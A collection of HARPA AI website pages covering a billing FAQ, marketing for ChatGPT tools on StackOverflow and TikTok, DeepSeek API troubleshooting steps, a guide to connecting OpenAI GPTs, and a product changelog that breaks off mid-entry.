[\#](https://harpa.ai/guides/billing-issues#i-purchased-a-premium-plan-and-would-like-to-change-it) I purchased a premium plan and would like to change it You can switch your Upgrade plan on the Pricing page: 1. Visit the [Pricing page](https://harpa.ai/pricing) . 2. Click on the **UPGRADE** button. ![](https://harpa.ai/img/guides/billing-5.webp) If you want to upgrade from HARPA X to the HARPA S annual plan, you will get a discount equal to the amount spent on purchasing the HARPA X plan. ### [\#](https://harpa.ai/guides/billing-issues#q&as) Q&As #### Q.: Do you offer a trial period? **A.:** Currently, we do not offer trial periods. However, all users can try the product with certain limitations in Power Messages. If you don't exceed these limits and don't need Pro features, the free version might be enough. We might introduce trial periods after launching the S2-S3 subscriptions, which would allow trying features not available. #### Q.: Do you have promo codes? **A.:** We don't provide discounts and promo codes. The price is equal for all users. We may introduce promo codes after increasing the price of HARPA X with the addition of new features. #### Q.: Can I buy HARPA X and use it on multiple devices? **A.:** HARPA X is a personal LTD that allows use on one active device per profile. You can use it on 2-3-4 computers or browsers, but not at the same time. #### Q.: How long will the LTD offer for HARPA X be available? **A.:** HARPA X is a limited time deal. The price might increase as new features are added between major versions and the product is refined. The offer will become unavailable eventually, leaving only S plans. #### Q.: If I purchase HARPA X, will I have access to the product updates? **A.:** As an X plan owner, you will receive all future update automatically, however some features will only be available on S plans, including scheduling commands, agents orchestration, data export and import etc. #### Q.: Why is there an S1 annual plan if HARPA X is cheaper and has the same features? **A.:** HARPA X is temporarily cheaper. S plans include Cloud GPT Megatokens, enabling access to GPT-5.4, Claude Sonnet 4.6, and other models. The S plan is suitable for [team work](https://harpa.ai/guides/team-spaces) , offering shared cloud storage for custom commands. #### Q.: I bought HARPA X but want the S1-S3 plan, what should I do? **A.:** You can upgrade to the annual S1-S3 plan by paying the price difference. #### Q.: I want to buy the HARPA X plan, but I'm unsure how long it will last. What if OpenAI stops working or GPT becomes paid-only? **A.:** Unfortunatley, we can't guarantee free LLM availability or pricing. However, we will keep adding new connections and LLMs as alternatives. Currently, HARPA supports Claude AI, Gemini, and 30+ options through OpenRouter AI. #### Q.: Can I be banned for using HARPA AI? **A.:** You might get blocked by web services for violating their ToS, e.g. engaging in spamming. This is beyond our control. We have a list of prohibited uses outlined at https://harpa.ai/terms#prohibited-uses We have no OpenAI account bans reported, however, make sure to follow ChatGPT [ToS](https://openai.com/policies) , use API keys for AI automations, add delays with the WAIT step and do not misuse AI, to avoid potential issues. #### Q.: Can I be banned by you? **A.:** Your account is safe as long as you follow HARPA ToS. Reporting vulnerabilities or platform misuse to us may result in our gratitude & free plan upgrades. Reverse-engineering or re-distributing HARPA AI software, without our explicit consent, may lead to legal action. [\#](https://harpa.ai/guides/billing-issues#links-for-further-reading) Links for further reading ------------------------------------------------------------------------------------------------- * [Team Spaces](https://harpa.ai/guides/team-spaces) * [Bug Reports](https://harpa.ai/guides/helpful-bug-reports) * [ChatGPT Search Assistant](https://harpa.ai/blog/ai-answers-alongside-google-search) * [Quick Access Bar](https://harpa.ai/guides/quick-access-bar) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/harpa-is-not-working) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/helpful-bug-reports) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Stackoverflow [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/stackoverflow-dark.svg) ChatGPT for Stackoverflow ========================= CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-stackoverflow#chatgpt-for-stackoverflow)  ChatGPT for StackOverflow --------------------------------------------------------------------------------------------------------- Step up your development game with HARPA AI’s suite of ChatGPT tools for StackOverflow. Ask coding questions, refactor code, and debug with ease, directly within your web browser. ![](https://harpa.ai/img/apps/stackoverflow-dark.svg) Coding Assistant Ask any question about JavaScript, Git, HTML, MySQL, PHP, Python, Docker, etc. Write, inspect, debug code. [USE COMMAND](https://get.harpa.ai/) Revolutionize your coding process with the following advanced HARPA AI capabilities: ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#summarize-stackoverflow-responses)  Summarize StackOverflow Responses Quickly grasp the essence of lengthy StackOverflow threads with concise summaries that get you back to coding faster. ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#generate-intelligent-replies)  Generate Intelligent Replies Participate in the StackOverflow community by generating knowledgeable replies to questions, helping you build reputation and connect with other developers. ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#coding-skills-improvement)  Coding Skills Improvement Hone your programming skills by getting clear explanations and practice through real-world problem-solving on StackOverflow. ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#language-specific-pro-commands)  Language-Specific PRO Commands Dive deeper into your preferred programming language with PRO commands tailored for Python, JavaScript, Java, PHP, HTML & CSS, MySQL, Docker, and Git. Write, inspect, and debug code with an AI companion by your side. ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#real-time-coding-assistance)  Real-Time Coding Assistance Receive instant help as you write code, with suggestions for improvement and debugging help that feels like pair programming with an AI expert. ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#comprehensive-language-support)  Comprehensive Language Support Whether you’re a front-end wizard, a back-end guru, or a full-stack developer, our wide array of language-specific commands ensures you get the support you need, when you need it. ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#how-to-use-chatgpt-with-stackoverflow)  How to Use ChatGPT with StackOverflow To use ChatGPT with StackOverflow, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the StackOverflow website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/stackoverflow** to HARPA chat to bring a list of ChatGPT prompts for StackOverflow. ### [##](https://harpa.ai/case/chatgpt-for-stackoverflow#connect-with-harpa-ai)  Connect with HARPA AI Your feedback, suggestions, and ideas are invaluable to us. If you have any questions or insights, please don't hesitate to reach out to us. At HARPA AI, we are committed to enhancing your YouTube experience and helping you succeed. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for TikTok [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/tiktok.svg) ChatGPT for TikTok ================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-tiktok#chatgpt-for-tiktok)  ChatGPT for TikTok ------------------------------------------------------------------------------------ HARPA AI brings the power of AI-driven content creation to your TikTok experience. With ChatGPT for TikTok, you can supercharge your content strategy by effortlessly generating TikTok video ideas, crafting captivating captions, and optimizing your hashtag game. ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/twitter.svg)![](https://harpa.ai/img/apps/facebook.svg) Social bio section generator Helps you create a catchy bio for any social website, Instagram, Twitter, LinkedIn etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Social media content ideas Generate a list of 10 engaging post ideas that are tailored to the interests of your target audience, increase engagement and drive traffic. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg)![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg) Video script writer Write a script for a video idea or topic. Best for YouTube, Instagram & TikTok. [USE COMMAND](https://get.harpa.ai/) Let's explore these innovative tools and see how they can revolutionize your TikTok presence: ### [##](https://harpa.ai/case/chatgpt-for-tiktok#tiktok-video-ideas)  TikTok Video Ideas Unlock a world of creative possibilities with HARPA AI's TikTok video ideas feature. Never run out of content inspiration as ChatGPT generates fresh and engaging video ideas tailored to your niche and audience. ### [##](https://harpa.ai/case/chatgpt-for-tiktok#captivating-captions)  Captivating Captions Crafting attention-grabbing captions can be a challenge. ChatGPT simplifies this task by helping you create captivating captions that enhance the impact of your TikTok videos. ### [##](https://harpa.ai/case/chatgpt-for-tiktok#optimized-hashtags)  Optimized Hashtags Boost the discoverability of your TikTok content with optimized hashtags. HARPA AI's hashtag generator can create up to 30 relevant hashtags to increase the visibility of your videos across TikTok's vast user base. ### [##](https://harpa.ai/case/chatgpt-for-tiktok#tiktok-script-writer)  TikTok Script Writer Whether you're planning a scripted TikTok video or need a creative script for a trending topic, our video script writer is here to assist you. Elevate your storytelling and engagement with expertly crafted scripts. ### [##](https://harpa.ai/case/chatgpt-for-tiktok#social-bio-section-generator)  Social Bio Section Generator Your social media bio is your digital introduction. HARPA AI's social bio section generator helps you create a catchy and concise bio for any social platform, including Instagram, Twitter, LinkedIn, and more. ### [##](https://harpa.ai/case/chatgpt-for-tiktok#how-to-use-chatgpt-with-tiktok)  How to Use ChatGPT with TikTok To use ChatGPT with TikTok, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the TikTok website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/tiktok** to HARPA chat to bring a list of ChatGPT prompts for TikTok. ### [##](https://harpa.ai/case/chatgpt-for-tiktok#connect-with-harpa-ai)  Connect with HARPA AI Your feedback, suggestions, and ideas are invaluable to us. If you have any questions or insights, please don't hesitate to reach out to us. At HARPA AI, we are committed to enhancing your YouTube experience and helping you succeed. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | DeepSeek API Not Working. Common Issues and Solutions. [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) DeepSeek API Not Working. Common Issues and Solutions. ====================================================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/deepseek-api-not-working#stable-and-private-deepseek-connection-via-harpa) Stable and Private DeepSeek Connection via HARPA ------------------------------------------------------------------------------------------------------------------------------------------------------- For users with ongoing issues or who are concerned about their personal data, HARPA AI offers a cloud-based solution. This service bypasses local hardware limits and server overloads, giving you uninterrupted access to DeepSeek AI. With one HARPA S subscription, you get access to DeepSeek, OpenAI, Claude, Llama, and other models with 99.9% uptime. ![](https://harpa.ai/img/blog/deepseek-server-busy-02.webp) HARPA lets you use any AI on any webpage without geo restrictions, thanks to third-party hosting that is independent of DeepSeek servers. [\#](https://harpa.ai/blog/deepseek-api-not-working#step-by-step-troubleshooting-for-deepseek-api) Step-by-Step Troubleshooting for DeepSeek API ------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working#1.-check-server-status) 1\. Check Server Status Visit the [official status page](https://status.deepseek.com/) to check if widespread outages or spikes are causing the issue. If the problem is server-side, you’ll find real-time updates here. ![](https://harpa.ai/img/blog/deepseek-server-busy-01.webp) ### [\#](https://harpa.ai/blog/deepseek-api-not-working#2.-check-your-internet-connection) 2\. Check Your Internet Connection Examine your network stability by accessing other websites. A weak or intermittent connection may lead to slowness in API response. Consider restarting your router or switching to a more reliable network for testing purposes. Resources for testing connection quality: * [https://www.speedtest.net/](https://www.speedtest.net/) * [https://fast.com/](https://fast.com/) * [https://www.speedcheck.org/](https://www.speedcheck.org/) ### [\#](https://harpa.ai/blog/deepseek-api-not-working#3.-verify-api-key-and-authentication) 3\. Verify API Key and Authentication Ensure that your API key is active, correctly formatted, and properly integrated within your code. [Double-check the credentials](https://platform.deepseek.com/api_keys) and, if necessary, regenerate a new API key to resolve any authentication issues. ### [\#](https://harpa.ai/blog/deepseek-api-not-working#4.-review-api-documentation) 4\. Review API Documentation Consult the [latest API documentation](https://api-docs.deepseek.com/) to confirm that you are using the correct endpoint, request parameters, and data formatting. Updates in the documentation may require adjustments to your existing implementation and code structure. ### [\#](https://harpa.ai/blog/deepseek-api-not-working#5.-optimize-payloads-and-queries) 5\. Optimize Payloads and Queries Reduce the size of the data sent in API requests. Simplify overly complex queries using pagination, effective filtering, or data compression strategies to ensure more efficient processing and faster responses. ### [\#](https://harpa.ai/blog/deepseek-api-not-working#6.-monitor-api-rate-limits) 6\. Monitor API Rate Limits Regularly check the [number of allowed requests within a given time period](https://api-docs.deepseek.com/quick_start/rate_limit) . Implement robust rate-limiting strategies to avoid surpassing these limits which could lead to throttled responses or errors. ### [\#](https://harpa.ai/blog/deepseek-api-not-working#7.-disable-firewall-or-vpn) 7\. Disable Firewall or VPN Temporarily disable firewall settings or VPN configurations that might inadvertently block API calls. If the API functions properly after adjustments, consider whitelisting DeepSeek’s API endpoints to maintain uninterrupted access. ### [\#](https://harpa.ai/blog/deepseek-api-not-working#9.-test-with-a-minimal-example) 9\. Test with a Minimal Example Simplify your request by starting with a minimal API call. Gradually introduce additional parameters to identify where errors or performance issues begin to occur, ensuring troubleshooting is focused and methodical. [\#](https://harpa.ai/blog/deepseek-api-not-working#deepseek-api-error-codes-and-their-solutions) DeepSeek API Error Codes and Their Solutions ----------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working#common-error-codes) Common Error Codes * **400 - Invalid Format:** The request body format is incorrect. Modify the request format according to the official API documentation to ensure compatibility. * **401 - Unauthorized:** This error indicates that the API key is missing or incorrect. Verify that your key is valid, current, and correctly embedded within your API calls. * **402 - Insufficient Balance:** Your account may have reached its usage limit. Check your account balance and top up if necessary to continue making API requests without interruption. * **422 - Invalid Parameters:** Errors in the provided parameters can result in this code. Double-check that each parameter adheres to the required data type and format as specified in the documentation. * **429 - Rate Limit Reached:** Making too many requests in a short timeframe can trigger this error. Throttle your requests and consider a higher-tier plan to meet increased demand. * **500 - Server Error:** A server-side error that suggests a problem with DeepSeek's processing. Wait a few moments and retry your request, or contact support if the issue is persistent. * **503 - Server Overloaded:** This error occurs during periods of exceptional traffic. It is advisable to wait and retry the request later, allowing the server to recover from overload. [\#](https://harpa.ai/blog/deepseek-api-not-working#faqs) FAQs --------------------------------------------------------------- ### [\#](https://harpa.ai/blog/deepseek-api-not-working#why-is-the-deepseek-api-responding-slowly?) Why is the DeepSeek API responding slowly? Several factors can cause slow responses, including high server load, complex queries, large payloads, and network connectivity issues. Optimizing these areas often leads to improved performance. ### [\#](https://harpa.ai/blog/deepseek-api-not-working#what-should-i-do-if-my-api-key-fails-authentication?) What should I do if my API key fails authentication? First, ensure that the API key is correctly entered and has not expired. If issues persist, regenerate a new key through the DeepSeek dashboard and update your implementation accordingly. ### [\#](https://harpa.ai/blog/deepseek-api-not-working#how-can-i-verify-if-deepseek%E2%80%99s-servers-are-down-or-overloaded?) How can I verify if DeepSeek’s servers are down or overloaded? Check the official status page for real-time updates on server health. In the event of a confirmed outage or overload, it is recommended to wait until the issue is resolved before making further requests. [\#](https://harpa.ai/blog/deepseek-api-not-working#more-troubleshooting-guides) More Troubleshooting Guides ------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/why-deepseek-show-server-busy-how-to-fix) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/claude-ai-beyond-openai-chatgpt) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Connecting to OpenAI GPTs [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/users/user-02.svg) Connecting to OpenAI GPTs ========================= OUTLINE NAVIGATE You can use OpenAI GPTs directly in your browser. GPTs can be selected as an AI connection in HARPA AI and used on any web browser page, allowing you to connect GPTs with over 100 built-in Page-aware ChatGPT prompts. You can use GPTs directly in your browser e.g. to pass web page content with the **{{page}}** parameter. The [GPTs Store](https://chatgpt.com/gpts) features GPTs created by verified developers, expanding the accessibility and innovation of AI technology. The store aims to offer a diverse range of GPTs, each designed to cater to different needs and preferences. ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Test GPTS in the chat first, as the complex GPTs may not always be beneficial and yield results inferior to GPT-5.4 and built-in commands. [\#](https://harpa.ai/blog/gpts-connection-in-harpa-ai#setting-up-gpts-in-harpa-ai) Setting up GPTs in HARPA AI ---------------------------------------------------------------------------------------------------------------- Using GPTs in HARPA AI is quick and easy. Here's how to do it: 1. Go to the [GPTs Store](https://chatgpt.com/gpts) and choose the GPTs you would like to connect with HARPA AI. ![](https://harpa.ai/img/guides/gpts-connection-1.webp) 2. Open HARPA AI on any website by clicking the HARPA AI icon in the top right corner or by pressing **Alt+A** (on Windows) or **^+A** (on Mac). 3. Locate the model toggle on the bottom left corner of the interface. Click on it, and a selection menu will appear, presenting you with various choices. Choose the GPTs connection you are interested in. ![](https://harpa.ai/img/guides/gpts-connection-2.webp) 4. You can ask questions in the chat or use built-in commands, and they will be processed using the GPTs you selected. ![](https://harpa.ai/img/guides/gpts-connection-3.webp) If you're seeking even more variety in connections, try connecting with lesser-known LLMs via [OpenRouter](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) . [\#](https://harpa.ai/blog/gpts-connection-in-harpa-ai#more-guides) More Guides -------------------------------------------------------------------------------- * [Connecting to ChatGPT](https://harpa.ai/blog/chatgpt-web-session) * [Connecting to OpenAI API](https://harpa.ai/blog/how-to-get-an-openai-api-key) * [Connecting to Claude AI](https://harpa.ai/blog/claude-ai-connection) * [Connecting to Google Gemini](https://harpa.ai/blog/google-bard-connection) * [Connecting to OpenRouter](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/google-bard-connection) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-get-an-openai-api-key) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Changelog [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/archive.svg) Changelog ========= OUTLINE NAVIGATE [\#](https://harpa.ai/blog/harpa-changelog#16.0-memory) 16.0 Memory -------------------------------------------------------------------- **MEMORY** * HARPA remembers what matters about you across chats, with HARPA AI, your own API keys and web sessions. * AI saves useful facts as you chat. Type # and a note to save it yourself. * Review, edit or delete everything on the Memory screen. **MEMORY CONTROL** * Choose Auto, Manual or Off in Settings, and add your own rules for what to save. * Pause memory in a single chat. **CHAT SWITCHER** * A slimmer header with a chat switcher: site icons, rename, pin and delete chats. * Set the panel width in Settings. **OPENAI API KEYS** * OpenAI connections use the Responses API, so the newest models work with tools, MCP and memory. **LIGHTER EXTENSION** * Closed panels and tabs free their memory. Long commands keep running after the panel is closed. [\#](https://harpa.ai/blog/harpa-changelog#15.0-harpa-ai-on-gpt-6.1-sol) 15.0 HARPA AI on GPT-6.1 Sol ------------------------------------------------------------------------------------------------------ **GPT-6.1 SOL ENGINE** * HARPA AI now runs on OpenAI GPT-6.1 Sol with a 1M token context. * Commands start answering in 1-2 seconds. **WEB SEARCH PROGRESS** * See searches as they happen, with the queries and sources behind each answer. * Available for HARPA AI and all OpenAI models. **COMMANDS** * Rewrite and other commands no longer refuse to run. * Custom command functions work with every model that supports them. **LONG CHATS** * Requests above 272k tokens are billed at the provider's long-context rate. Shorter chats cost the same as before. [\#](https://harpa.ai/blog/harpa-changelog#14.0-grok-session,-sheets-&-media) 14.0 Grok Session, Sheets & Media ---------------------------------------------------------------------------------------------------------------- **GROK WEB SESSION** * Connect to Grok (grok.com) as a free web session AI provider. * Image upload support in Grok conversations. **IMAGE & VIDEO GENERATION** * Generate images in chat via Grok and xAI connections. * Edit and combine images with xAI API. * Generate and download videos directly in chat. **GOOGLE SHEETS** * Read, edit, clear, and insert rows in Google Sheets from AI. * Add formulas and switch between sheets programmatically. * Undo support for sheet actions. **PERFORMANCE** * Faster startup — syntax highlighter and markdown processor load on demand. * Non-blocking extension initialization. [\#](https://harpa.ai/blog/harpa-changelog#13.1-gpts-&-login-fix) 13.1 GPTs & Login Fix ---------------------------------------------------------------------------------------- **CHATGPT GPTS** * Fixed ChatGPT custom GPTs not working after ChatGPT's migration to GPT-5 models. **AUTHENTICATION** * Login links now remain valid for 24 hours and can be reused. [\#](https://harpa.ai/blog/harpa-changelog#13.0-mcp-tools-&-claude-4.6) 13.0 MCP Tools & Claude 4.6 ---------------------------------------------------------------------------------------------------- **MCP (MODEL CONTEXT PROTOCOL)** * Connect external MCP tool servers to your AI connections. * Pre-filled Context7 defaults for quick setup. * MCP tools work across CloudGPT and API connections. * Per-chat tool caching for faster responses. * Error alerts with copy button for easy debugging. **NEW AI MODELS** * Added Claude Opus 4.6 and Haiku 4.5 models. * Removed legacy Claude models. **UI IMPROVEMENTS** * New AUTO theme mode that follows your system light/dark preference. * Click images in chat to open them in a new tab. [\#](https://harpa.ai/blog/harpa-changelog#12.2-language-flags-&-i18n-updates) 12.2 Language Flags & i18n Updates ------------------------------------------------------------------------------------------------------------------ **LANGUAGE SUPPORT** * Country flag icons in UI language and AI response language selectors. * Performance optimizations for language loading. [\#](https://harpa.ai/blog/harpa-changelog#12.1-command-lock-&-14-languages) 12.1 Command Lock & 14 Languages -------------------------------------------------------------------------------------------------------------- **COMMAND LOCK** * Lock commands in team spaces to prevent other members from editing or deleting them. * Locked commands display a LOCKED badge. **INTERNATIONALIZATION** * HARPA AI interface available in 14 languages: English, Spanish, French, German, Italian, Swedish, Portuguese, Dutch, Polish, Chinese, Hindi, Czech, Ukrainian, Romanian. * Dynamic language loading — only your selected language is loaded, reducing extension size. * Bilingual search in the commands list. * Language selector added to the /setup command. * Translated: Settings, Models tab, Commands, Explorer, Chat UI, Welcome and Uninstall pages. [\#](https://harpa.ai/blog/harpa-changelog#12.0-grok-ai-&-quick-prompts) 12.0 Grok AI & Quick Prompts ------------------------------------------------------------------------------------------------------ **GROK AI** * Grok 4.1 Fast added as an AI engine. * Grok web search with citations, queries, and source links rendered in responses. **QUICK PROMPT CREATION** * Create custom prompts directly from the suggestions menu. **FREE TIER** * Increased free tier usage limits. [\#](https://harpa.ai/blog/harpa-changelog#11.9-perplexity-&-xai-providers) 11.9 Perplexity & xAI Providers ------------------------------------------------------------------------------------------------------------ **NEW API PROVIDERS** * Connect your own Perplexity API key for search-powered AI responses. * Connect your own xAI Grok API key. * New provider selector when creating API connections. **CITATIONS** * Perplexity and Grok responses now render citations with source links. * Provider-specific error messages for better debugging. **CLOUDGPT MODELS** * Added CloudGPT-5-2 connection. * Added Grok 4.1 Fast with reasoning to CloudGPT. [\#](https://harpa.ai/blog/harpa-changelog#11.5-anthropic-api-&-new-models) 11.5 Anthropic API & New Models ------------------------------------------------------------------------------------------------------------ **ANTHROPIC API 